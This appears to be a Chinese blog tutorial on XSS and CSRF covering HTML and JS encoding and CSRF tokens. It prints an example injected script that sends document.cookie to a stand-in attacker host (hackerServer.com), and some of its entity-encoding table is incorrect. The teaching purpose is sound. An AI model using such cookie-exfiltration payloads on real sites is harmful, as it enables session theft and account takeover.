xss（cross site scripting）是一种最常用的网站攻击方式。

一.Html的实体编码

举个栗子：用户在评论区输入评论信息，然后再评论区显示。大概是这个样子：

<span>User Data</span>

如果对User Data不做任何过滤，那么一些喜欢搞怪的小伙伴通常会“注入”一些其他东东，诸如：

<span>alert('弹弹弹')</span>

更有甚者，

<span>

<script>

    function getCookie()

    {

      var cookie=document.cookie;

      $.get("http://hackerServer.com?cookie="+cookie,function(result){ })//如浏览器支持跨域访问

   }

</script>

</span>

这样的话，在黑客的站点 hackerServer.com 就会源源不断的得到用户的cookie，有了用户的cookie，就相当于得到了最初的凭证，便可以做很多坏事。

我们可以对用户输入的信息，进行转码后再显示，这样就不会出现上述的问题了。这里引入“html实体编码”的概念，见下图（图来源）。

显示结果 描述 实体名称 实体编号（十进制） 实体编号（十六进制）       
  空格 &nbsp;    
< 小于号 &lt; < <
> 大于号 &gt; > &#3E;
& 和号 &amp; & &#26;
" 引号 &quot; " &#22;

把 alert('弹弹弹') 转码后，其前端页面显示的为     alert('弹弹弹')，

查看其后端html源代码则为 alert('弹弹弹')

我们可以使用charCodeAt这个方法把User Data转化为html实体编码。

"alert('User Data')".replace(/./g, function(s){

     return "&#" + s.charCodeAt()

      + ";"

  });

二.Js编码

那我们可不可以把所有 有用户输入的地方都使用html实体编码，从而完全避免用户的注入呢？

不行！

HTML entity encoding is okay for untrusted data that you put in the body of the HTML document, such as inside a <div> tag. It even sort of works for untrusted data that goes into attributes, particularly if you're religious about using quotes around your attributes. But HTML entity encoding doesn't work if you're putting untrusted data inside a <script> tag anywhere, or an event handler attribute like onmouseover, or inside CSS, or in a URL. So even if you use an HTML entity encoding method everywhere, you are still most likely vulnerable to XSS. You MUST use the escape syntax for the part of the HTML document you're putting untrusted data into. That's what the rules below are all about.

大致意思是：在有<script></script>的标签中，并不支持html编码，这是需要对js进行编码。

如：

<body>

<div id='commentlist'>

<script type="text/javascript">

　　//var s="jsAlert";
　　var s="jsAlert";
　　alert(s)//弹出的是s字符串，而不是“jsAlert”

　　var s2="\152\163\101\154\145\162\164";

　　alert(s2)//弹出的是jsAlert

</script>

</body>

对于在<script></script>标签中的User Data，要使用js编码，就是使用unicode编码，才能保证正确的输入和输出。js编码支持八进制和十六进制编码。

同样可以使用charCodeAt方法把数据进行转化，如下：

"jsAlert".replace(/./g, function(s){

     return  '\\'+s.charCodeAt().toString()

  });

关于js编码的详细可以参考下这里。

三.Xss的危害

如果骇客在一个网站注入了自己一段非法脚本，比如我在http://www.baidu.com注入了一段脚本，该脚本的功能是给关注新浪微博某个指定的用户。

那么，当用户a访问http://www.baidu.com，并且用户a的浏览器保留了新浪微博的登录cookie，那么在访问时，http://www.baidu.com将作为跳板，自动向新浪微博服务器http://weibo.com发起了一次关注请求。显然的，这样的请求是不符合用户意愿的。

这里出现问题的原因就是因为http://www.baidu.com存在重大的xss漏洞所致。

用户浏览器访问http://weibo.com时，该浏览器weibo.com域名下的cookie自动被带着，去访问http://weibo.com，这是因为http是无状态的，而cookie则是身份证明的唯一途径，http协议决定了同个域名下的cookie会自动捎带。

毫无疑问，cookie并不是那么安全，

这里的黑客就是利用了网站的xss漏洞发起了csrf攻击。

必须指明的，csrf漏洞和xss漏洞并没有必然的关联。即使一个网站不存在xss漏洞，但是同样可以发起csrf攻击。

显然的，xss防范是网站安全的第一步，只有这样才能使自己不变成跳板，成为黑客们进行攻击的傀儡。为了避免csrf攻击，就需要采用“非Cookie”的信息策略，即使用csrf_token.

四.csrf攻击

csrf（Cross-site request forgery）攻击的原理是利用浏览器存储的cookie信息，去模拟用户的某些操作。下面是一个csrf攻击的场景：

场景：用户A登录了weibo.com之后，无意中浏览了某恶意网站 http://www.hacker.com之后,发现自己“莫名地” follow了n多个微博帐号。

原因：由于网站weibo.com的并没有使用csrf的防范，所以恶意用户在http://www.hacker.com上自动构造了“关注特定微博帐号”的请求操作followUser。

而又由于用户登了weibo.com，在用户浏览器存储的cookie信息，会随着followUser这个操作一起发送到weibo.com。

weibo.com服务端 在收到来自http://www.hacker.com的请求之后，验证cookie信息，发现cookie信息无误，便会误以为是正确的请求。

解决方案：由于Request Referer字段是可以修改的，所以通过Request Referer字段并不可取。

我们可以感觉cookie信息中的某些kv键值对键值对（如uuid=‘zhangsan’，timespan='201601011023'，可以根据这些数据进行加密），然后通过某些位运算算法，生产一个csrf_token，由于这个字段不存在于Cookie，所以在访问时，需要在web端自动构建这个参数（如果是get请求，可以加到url之后；如果是post请求，可以封装到请求body之中）。

对于其他域名下的请求，由于其无法获取该域下的cookie信息，所以，即使该位运算算法暴露在js之中，其它恶意请求也无法构造这个csrf_token值。再weibo.com的服务端会被拒绝掉。

写到这里，不难发现，如果weibo.com存在xss漏洞，导致了用户cookie的泄漏，也会可能引发进一步的csrf攻击。

有防xss的措施，无防csrf的措施，网站会GG；

无防xss的措施，有防csrf的错误，网站会GG，因为你可能会丢cookie，导致csrf压根防不了。

以上。

可能有用的js方法：

1."aA".charCodeAt().toStrign("16")

2.String.fromCharCode(40)

3.eval()

参考：

https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

http://drops.wooyun.org/tips/689

http://www.cnblogs.com/hustskyking/p/xss-snippets.html

http://www.cnblogs.com/TomXu/archive/2011/12/31/2289423.html

https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#Why_Can.27t_I_Just_HTML_Entity_Encode_Untrusted_Data.3F

xss和csrf攻击的更多相关文章

  1. XSS 和 CSRF 攻击

    web安全中有很多种攻击手段,除了SQL注入外,比较常见的还有 XSS 和 CSRF等 一.XSS(Cross Site Scripting)跨站脚本 XSS其实就是Html的注入问题,攻击者的输入没 ...

  2. XSS与CSRF攻击

    一.XSS Cross Site Script,跨站脚本攻击.是指攻击者在网站上注入恶意客户端代码,通过恶意脚本对客户端网页进行篡改,从而在用户浏览网页时,对用户浏览器进行控制或者获取用户隐私数据的一 ...

  3. 前端安全之XSS和csrf攻击

    1.Csrf攻击概念: csrf攻击(Cross-site request forgery):跨站请求伪造; 2.Csrf攻击原理: 用户是网站A的注册用户,且登录进去,于是网站A就给用户下发cook ...

  4. xss 和 csrf攻击详解

    在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了很流行的攻击方式.在这个年代, 参数化查询 已经成了普遍用法,我们已经离 SQL 注入很远了.但是,历史同 ...

  5. XSS攻击 && CSRF攻击 基础理解

    一个网站,不管多么的帅气,多么的风骚,如果你不安全,那始终都是一个弟弟啊~ 今天又看了下XSS和CSRF攻击的文章,我也想发点什么普及下大家的安全意识,毕竟作为一名拥有伟大梦想的程序员,基本的安全意识 ...

  6. 关于XSS（跨站脚本攻击）和CSRF（跨站请求伪造）

    我们常说的网络安全其实应该包括以下三方面的安全: 1.机密性,比如用户的隐私被窃取,帐号被盗,常见的方式是木马. 2.完整性,比如数据的完整,举个例子,康熙传位十四子,被当时四阿哥篡改遗诏:传位于四子 ...

  7. XSS攻击&SQL注入攻击&CSRF攻击？

    - XSS(Cross Site Script,跨站脚本攻击)是向网页中注入恶意脚本在用户浏览网页时在用户浏览器中执行恶意脚本的攻击方式.跨站脚本攻击分有两种形式:反射型攻击(诱使用户点击一个嵌入恶意 ...

  8. yii框架各种防止sql注入，xss攻击，csrf攻击

    PHP中常用到的方法有: /*  防sql注入,xss攻击  (1)*/    function actionClean($str)    {        $str=trim($str);      ...

  9. XSS与CSRF两种跨站攻击比较

    XSS:跨站脚本(Cross-site scripting) CSRF:跨站请求伪造(Cross-site request forgery) 在那个年代,大家一般用拼接字符串的方式来构造动态SQL 语 ...

随机推荐

  1. (JS+CSS)实现图片放大效果

    代码很简单,在这里就不过多阐述,先上示例图: 实现过程: html部分代码很简单 <div id="outer"> <p>点击图片</p> &l ...

  2. 结巴分词3--基于汉字成词能力的HMM模型识别未登录词

    作者:zhbzz2007 出处:http://www.cnblogs.com/zhbzz2007 欢迎转载,也请保留这段声明.谢谢! 1 算法简介 在 结巴分词2--基于前缀词典及动态规划实现分词 博 ...

  3. PHP之使用网络函数和协议函数

    使用其他Web站点的数据 <html> <head> <title> Stock Quote From NASDAQ </title> </hea ...

  4. AFNetworking 3.0 源码解读（十一）之 UIButton/UIProgressView/UIWebView + AFNetworking

    AFNetworking的源码解读马上就结束了,这一篇应该算是倒数第二篇,下一篇会是对AFNetworking中的技术点进行总结. 前言 上一篇我们总结了 UIActivityIndicatorVie ...

  5. Git初探--笔记整理和Git命令详解

    几个重要的概念 首先先明确几个概念: WorkPlace : 工作区 Index: 暂存区 Repository: 本地仓库/版本库 Remote: 远程仓库 当在Remote(如Github)上面c ...

  6. C#日志

    参考页面: http://www.yuanjiaocheng.net/Entity/first.html http://www.yuanjiaocheng.net/Entity/jieshao.htm ...

  7. PhpStorm和WAMP配置调试参数，问题描述Error. Interpreter is not specified or invalid. Press “Fix” to edit your project configuration.

    PhpStorm和WAMP配置调试参数 问题描述: Error. Interpreter is not specified or invalid. Press “Fix” to edit your p ...

  8. 游走 bzoj 3143

    游走(2s 128MB)walk [问题描述] [输入格式] [输出格式] [样例输入] 3 3 2 3 1 2 1 3 [样例输出] 3.333 [样例说明] 题解: 主要算法:贪心:高斯消元: 题 ...

  9. 【代码笔记】iOS-获得当前的月的天数

    一,代码. #import "ViewController.h" @interface ViewController () @end @implementation ViewCon ...

  10. 当 IDENTITY_INSERT 设置为 OFF 时，不能为表 'T_Shell' 中的标识列插入显式值。

    --允许将显示值插入表的标识列中-ON:允许 OFF:不允许set identity_insert T_shell ONset identity_insert T_Shell OFF